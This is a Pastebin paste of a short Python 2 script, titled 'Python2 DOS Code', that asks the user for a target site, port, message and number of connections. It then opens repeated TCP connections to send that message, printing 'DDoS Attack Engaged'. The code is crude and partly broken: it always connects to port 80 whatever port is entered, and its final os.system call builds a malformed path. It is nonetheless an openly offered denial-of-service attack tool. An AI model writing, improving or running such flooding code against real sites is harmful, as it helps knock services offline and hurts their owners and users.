Anon-T

Python2 DOS Code

Dec 1st, 2020
596
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import os, sys, time, socket, string
  2. ###########################################################################
  3. #THIS IS THE FUNNY CODE FOR OLD SCHOOL SOCKET
  4. #YOU CAN RUN THIS CODE WITH THE OLD WAY WITH PYTHON_2
  5. #BUT TAKE A LOOK !!!WANNING!!! THIS IS NOT INCLUDE TOR OR ANY SOCKE5 PROXY
  6. #DON'T TRY THIS AT HOME
  7. ###########################################################################
  8. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  9. def restart_program():
  10.     python = sys.executable
  11.     os.execl(python, python, * sys.argv)
  12.  
  13. curdir = os.getcwd()
  14. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  15.  
  16. print("DDoS mode loaded")
  17. print("python script made by an0nymous_nl twitter")
  18. host = raw_input("Site you want to DDoS:")
  19. port = input("Port you want to attack:")
  20. message = raw_input("Input the message you want to send:")
  21. conn = input("How many connections you want to make:")
  22. ip = socket.gethostbyname(host)
  23. print("[" + ip + "]")
  24. print("[Ip is locked]")
  25. print("[Attacking " + host + "]")
  26. print("+----------------------------+")
  27.  
  28. def dos():
  29.     #pid = os.fork()
  30.     ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31.     try:
  32.         ddos.connect((host, 80))
  33.         ddos.send(message)
  34.         ddos.sendto(message, (ip, port))
  35.         ddos.send(message)
  36.     except socket.error, msg:
  37.         print("|[Connection Failed]         |")
  38.     print("|[DDoS Attack Engaged]       |")
  39.     ddos.close()
  40.  
  41. for i in range(1, conn):
  42.     dos()
  43. print("+----------------------------+")
  44. print("The connections you requested had finished")
  45. if __name__ == "__main__":
  46.     answer = raw_input("Do you want to ddos more?")
  47.     if answer.strip() in "y Y yes Yes YES".split():
  48.         restart_program()
  49.     else:
  50.         os.system(curdir+"Deqmain.py")
RAW Paste Data